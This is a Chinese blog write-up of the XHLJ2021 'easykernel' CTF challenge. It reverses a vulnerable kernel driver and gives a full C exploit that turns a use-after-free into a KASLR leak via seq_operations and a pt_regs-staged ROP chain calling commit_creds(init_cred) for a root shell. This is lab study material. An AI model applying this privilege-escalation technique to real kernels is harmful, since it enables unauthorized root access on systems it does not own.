XHLJ2021-easykernel之 seq_operations结合pt_regs

0x01.前置知识:

seq_operations结构体

seq_operations(kmalloc-32 | GFP_KERNEL_ACCOUNT):seq_file 函数表

seq_file会单独从seq_file_cache分配,一般难以控制。其结构体为:

struct seq_file {
    char *buf;
    size_t size;
    size_t from;
    size_t count;
    size_t pad_until;
    loff_t index;
    loff_t read_pos;
    struct mutex lock;
    const struct seq_operations *op;
    int poll_event;
    const struct file *file;
    void *private;
};

而其中seq_operations函数表结构体可以打开/proc/self/stat来获取,
该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

总结

  • 通过open("/proc/self/stat", O_RDONLY)来打开
  • 大小:kmalloc-32
  • 分配flag:GFP_KERNEL_ACCOUNT
  • 泄露内核基地址
  • 不带参数劫持程序控制流(通常搭配pt_regs)

打开方式
以只读方式打开文件/proc/self/stat,申请得到的是seq_operations结构体,注意不是seq_file

利用

数据泄露 - 泄露内核基地址
seq_operations函数表中的第一个函数指针start即为函数single_start函数的地址,可以用于泄露内核基地址:

/ # cat /proc/kallsyms | grep 'single_start'
ffffffffb6c4b160 T single_start

其实其余的同理,即single_stop,single_next,single_show

劫持程序控制流
覆盖seq_operations函数表中的函数指针start

对该结构体调用read,即可以触发seq_operations->start控制程序执行流

注意参数不可控,一般可能需要配合pt_regs等结构体

若需要调试,可以暂停到seq_read_iter函数,其会调用seq_operations->start

struct pt_regs 结构体

对于 pt_regs 结构体可以看我的这篇博客:kernel pwn 入门(四) ret2dir详细

这里需要注意的是:

提权之后借助swapgs_restore_regs_and_return_to_usermode函数中的pop系列来调整栈,即借用了几个栈的位置,就得少几个pop,以本题为例,如图借用了5个栈数据,那么我们最后就得使得该函数少pop5个,即将swapgs_restore_regs_and_return_to_usermode函数的gadget+=9即可。

在这里插入图片描述
如上修改之后就可以当进入到该函数的swapgs的时候,将栈调整至最开始因为syscall而形成的保存pt_regs结构体中的用户态数据的地方,使得提权之后成功返回用户态

struct pt_regs {
//.....................
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

0x02.题目分析

首先查看启动脚本

start.sh

#!/bin/sh

qemu-system-x86_64  \
-m 64M \
-cpu kvm64,+smep \
-kernel ./bzImage \
-initrd rootfs.img \
-nographic \
-s \
-append "console=ttyS0 kaslr quiet noapic"

开了 SMEPKASLR,意味着不能执行用户态代码

init

#!/bin/sh

mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"

insmod /test.ko
chmod 666 /dev/kerpwn
chmod 740 /flag
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /tmp


poweroff -d 0  -f


正规!!!

逆向分析

在这里插入图片描述
rsi == 0x30的时候是free操作,存在 UAF
rsi == 0x20的时候是alloc操作,只能分配不超过0x20的大小

在这里插入图片描述

比较正常的show函数,和edit函数,由于存在UAF,所以操作的地方很多。

对于alloc函数,我们要传入如下结构体:

struct alloc
{
    size_t size;
    void *buf;
};

free函数,传入:

struct delete{
	size_t idx;
};

其他两个都用下面的结构体:

struct req{
	size_t idx;
	size_t size;
	void *buf;
};

利用

综上分析,我们可以利用UAF漏洞,使得seq_operations占用0x20大小的obj
,然后利用show函数泄露地址,再利用edit函数,修改start的地址为 gadget的地址劫持程序执行流

exp

#include "kernel_pwn.h"

size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
size_t add_rsp_gadget = 0xffffffff8135b0f6; //add    rsp,0x180 ; pop ?? * 5 ; ret
size_t commit_creds = 0xffffffff810c8d40;
size_t init_cred = 0xffffffff82663300;
size_t swapgs_restore_regs_and_r = 0xffffffff81c00f30;
size_t pop_rdi = 0xffffffff81089250;
int fd;
int seq_fd;

struct alloc
{
    size_t size;
    void *buf;
};

struct delete{
	size_t idx;
};

struct req{
	size_t idx;
	size_t size;
	void *buf;
};

void add(size_t size,void* data){
	struct alloc req = {
		.size = size,
		.buf = data
	};
	binary_dump((char*)&req,0x10,0);
	ioctl(fd,0x20,&req);
}

void del(size_t idx){
	struct delete del = {
		.idx = idx
	};

	ioctl(fd,0x30,&del);
}

void show(size_t idx,size_t size,void* buf){
	struct req req1 = {
		.idx = idx,
		.size = size,
		.buf = buf
	};

	ioctl(fd,0x40,&req1);
}

void edit(size_t idx,size_t size,void* buf){
	struct req req1 = {
		.idx = idx,
		.size = size,
		.buf = buf
	};

	ioctl(fd,0x50,&req1);
}

int main(){
	bind_core(0);
	save_status();

	size_t rop[0x100] = {0};
	char data[0x20] = {0};
	char buf[0x100] = {0};
	

	fd = open("/dev/kerpwn",2);
	if(fd<0){
		err_exit("fd open failed....");
	}

	add(0x20,data); //0

	del(0);

	seq_fd = open("/proc/self/stat",O_RDONLY);
	if (seq_fd < 0)
	{
		err_exit("seq_id open failed...");
	}

	show(0,0x100,buf);
	binary_dump(buf,0x100,0);

	size_t single_start_addr = *(size_t*)buf;
	kernel_base = single_start_addr - 0x319d30;
	size_t offset = kernel_base - nokalsr_kernel_base;
	add_rsp_gadget += offset;
	commit_creds += offset;
	init_cred += offset;
	swapgs_restore_regs_and_r += offset+0x9;
	pop_rdi += offset;
	show_addr("kernel_base",kernel_base);
	show_addr("add_rsp_gadget",add_rsp_gadget);
	show_addr("swapgs_restore_regs_and_r",swapgs_restore_regs_and_r);
	show_addr("init_cred",init_cred);

	int idx = 0;
	rop[idx++] = add_rsp_gadget;


	edit(0,0x8,rop);
	show(0,0x20,buf);
	binary_dump(buf,0x10,0);

	// sleep(10);

	__asm__(
	    "mov r15,   0xbeefdead;"
	    "mov r14,   pop_rdi;"
	    "mov r13,   init_cred;"
	    "mov r12,   commit_creds;"
	    "mov rbp,   swapgs_restore_regs_and_r;"
	    "mov rbx,   0x55555555;"
	    "mov r11,   0x66666666;"
	    "mov r10,   0x77777777;"
	    "mov r9,    0x88888888;"
	    "mov r8,    0x99999999;"
	    "xor rax,   rax;"
	    "mov rcx,   0xaaaaaaaa;"
	    "mov rdx,   8;"
	    "mov rsi,   rsp;"
	    "mov rdi,   seq_fd;"      
	    "syscall"
	);


	get_shell();

	

	return 0;
}

gadget如下:

ffffffff8135b0f6:	48 81 c4 80 01 00 00 	add    rsp,0x180
ffffffff8135b0fd:	5b                   	pop    rbx
ffffffff8135b0fe:	41 5c                	pop    r12
ffffffff8135b100:	41 5d                	pop    r13
ffffffff8135b102:	41 5e                	pop    r14
ffffffff8135b104:	5d                   	pop    rbp
ffffffff8135b105:	c3                   	ret 

调试

在这里插入图片描述
Dump后看到seq_operations第一个函数的地址被我们改成了gadget的地址,
执行read函数时,程序被劫持到我们gadget的位置执行。
在这里插入图片描述
最后pt_regs形成如下:
在这里插入图片描述

内容概要:本文介绍了基于贝叶斯优化的CNN-LSTM混合神经网络在时间序列预测中的应用,并提供了完整的Matlab代码实现。该模型结合了卷积神经网络(CNN)在特征提取方面的优势与长短期记忆网络(LSTM)在处理时序依赖问题上的强大能力,形成一种高效的混合预测架构。通过贝叶斯优化算法自动调参,提升了模型的预测精度与泛化能力,适用于风电、光伏、负荷、交通流等多种复杂非线性系统的预测任务。文中还展示了模型训练流程、参数优化机制及实际预测效果分析,突出其在科研与工程应用中的实用性。; 适合人群:具备一定机器学习基基于贝叶斯优化CNN-LSTM混合神经网络预测(Matlab代码实现)础和Matlab编程经验的高校研究生、科研人员及从事预测建模的工程技术人员,尤其适合关注深度学习与智能优化算法结合应用的研究者。; 使用场景及目标:①解决各类时间序列预测问题,如能源出力预测、电力负荷预测、环境数据预测等;②学习如何将CNN-LSTM模型与贝叶斯优化相结合,提升模型性能;③掌握Matlab环境下深度学习模型搭建与超参数自动优化的技术路线。; 阅读建议:建议读者结合提供的Matlab代码进行实践操作,重点关注贝叶斯优化模块与混合神经网络结构的设计逻辑,通过调整数据集和参数加深对模型工作机制的理解,同时可将其框架迁移至其他预测场景中验证效果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值